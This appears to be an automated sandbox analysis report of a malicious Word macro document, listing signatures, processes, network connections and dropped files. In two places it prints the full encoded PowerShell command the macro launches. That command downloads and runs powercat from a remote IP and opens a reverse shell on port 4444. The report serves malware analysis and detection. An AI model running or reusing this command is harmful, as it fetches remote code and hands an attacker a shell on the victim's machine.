Analysis Overview
SHA256
a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513
Threat Level: Known bad
The file a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Command and Scripting Interpreter: PowerShell
Office macro that triggers on suspicious action
Suspicious Office macro
Drops file in Windows directory
Office loads VBA resources, possible macro or embedded object present
Suspicious use of WriteProcessMemory
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-22 21:58
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-22 21:58
Reported
2024-07-22 21:59
Platform
win7-20240708-en
Max time kernel
54s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA
Network
| Country | Destination | Domain | Proto |
| N/A | 192.168.45.218:80 | tcp |
Files
memory/1984-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp
memory/1984-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1984-2-0x000000007181D000-0x0000000071828000-memory.dmp
memory/1984-4-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-14-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-10-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-7-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-6-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-5-0x0000000000310000-0x0000000000410000-memory.dmp
memory/1984-18-0x000000007181D000-0x0000000071828000-memory.dmp
memory/1984-19-0x0000000000310000-0x0000000000410000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-22 21:58
Reported
2024-07-22 21:59
Platform
win10v2004-20240709-en
Max time kernel
46s
Max time network
37s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2400 wrote to memory of 4128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2400 wrote to memory of 4128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| GB | 52.109.32.7:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 7.32.109.52.in-addr.arpa | udp |
| N/A | 192.168.45.218:80 | tcp | |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 93.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.17.209.140:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| GB | 95.101.28.35:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.209.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.28.101.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
Files
memory/2400-3-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp
memory/2400-5-0x00007FFF648AD000-0x00007FFF648AE000-memory.dmp
memory/2400-4-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp
memory/2400-2-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp
memory/2400-1-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp
memory/2400-0-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp
memory/2400-9-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-7-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-6-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-8-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-10-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-12-0x00007FFF22830000-0x00007FFF22840000-memory.dmp
memory/2400-11-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-13-0x00007FFF22830000-0x00007FFF22840000-memory.dmp
memory/2400-14-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-23-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-24-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kazybfeu.bgb.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4128-36-0x00000181C7580000-0x00000181C75A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | d50fd3bee69892555c145f7c032c8624 |
| SHA1 | 549ee2734c7411b0df79faf3a45beb292a4baeda |
| SHA256 | 72a1239b378fd0e6f24d5acd9e82f3f8dd4d0f0864dea00af8ce4a6715f68002 |
| SHA512 | 91da9b06893a07ffc97d94d30b6df7d094525b5a8e95a719b93bee343e1399a83013f7adf78864567ff4fd76e974fe64516d7bac188237785dbe2bf5b8c5fc82 |
C:\Users\Admin\AppData\Local\Temp\TCDDD0D.tmp\gb.xsl
| MD5 | 51d32ee5bc7ab811041f799652d26e04 |
| SHA1 | 412193006aa3ef19e0a57e16acf86b830993024a |
| SHA256 | 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97 |
| SHA512 | 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810 |
memory/2400-200-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp
memory/2400-203-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp